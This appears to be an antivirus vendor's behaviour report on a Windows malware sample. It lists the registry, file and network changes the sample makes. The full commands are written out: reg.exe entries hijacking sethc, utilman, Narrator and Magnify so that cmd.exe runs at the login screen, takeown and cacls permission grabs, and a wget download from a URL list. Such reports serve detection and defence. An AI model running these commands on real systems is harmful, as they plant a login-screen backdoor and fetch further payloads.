Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe] 'debugger' = 'drmsvc.exe'
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ibhost.exe] 'debugger' = 'drmsvc.exe'
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe] 'debugger' = 'wpmsvc.exe'
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Narrator.exe] 'debugger' = 'cmd.exe'
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Magnify.exe] 'debugger' = 'cmd.exe'
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\uddisrw.exe] 'debugger' = 'wpmsvc.exe'
Substitutes the following executable system files
- %WINDIR%\SysWOW64\sethc.exe with %WINDIR%\syswow64\sethc.exe
Modifies file system
Creates the following files
- <Current directory>\ka4t.txt
- <Current directory>\ka4t.bat
- <Current directory>\prop.exe
- <Current directory>\wget.exe
- %WINDIR%\drmsvc.exe
- %WINDIR%\wpmsvc.exe
- %WINDIR%\syswow64\dllcache\sethc.exe
- %WINDIR%\syswow64\dllcache\wsethc.exe
Deletes the following files
- %WINDIR%\syswow64\sethc.exe
Moves the following files
- from %WINDIR%\syswow64\sethc.exe to %WINDIR%\syswow64\sethcr.exe
Substitutes the following executable files
- %WINDIR%\SysWOW64\sethc.exe
Network activity
UDP
- DNS ASK zs##jov.cz
Miscellaneous
Searches for the following windows
- ClassName: 'EDIT' WindowName: ''
Creates and executes the following
- '<Current directory>\wget.exe' -i ka4t.txt --continue --no-check-certificate
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c ""<Current directory>\ka4t.bat" "
- '%WINDIR%\syswow64\attrib.exe' -h -s -r <SYSTEM32>\dllcache
- '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v "debugger" /t REG_SZ /d "drmsvc.exe" /f
- '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ibhost.exe" /v "debugger" /t REG_SZ /d "drmsvc.exe" /f
- '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /v "debugger" /t REG_SZ /d "wpmsvc.exe" /f
- '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Narrator.exe" /v "debugger" /t REG_SZ /d "cmd.exe" /f
- '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Magnify.exe" /v "debugger" /t REG_SZ /d "cmd.exe" /f
- '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\uddisrw.exe" /v "debugger" /t REG_SZ /d "wpmsvc.exe" /f
- '%WINDIR%\syswow64\takeown.exe' /F <SYSTEM32>\sethc.exe
- '%WINDIR%\syswow64\takeown.exe' /F %WINDIR%\SysWOW64\sethc.exe
- '%WINDIR%\syswow64\cmd.exe' /S /D /c" echo Y"
- '%WINDIR%\syswow64\cacls.exe' <SYSTEM32>\dllcache\sethc.exe /G :F SYSTEM:F
- '%WINDIR%\syswow64\cacls.exe' %WINDIR%\SysWOW64\dllcache\sethc.exe /G :F SYSTEM:F
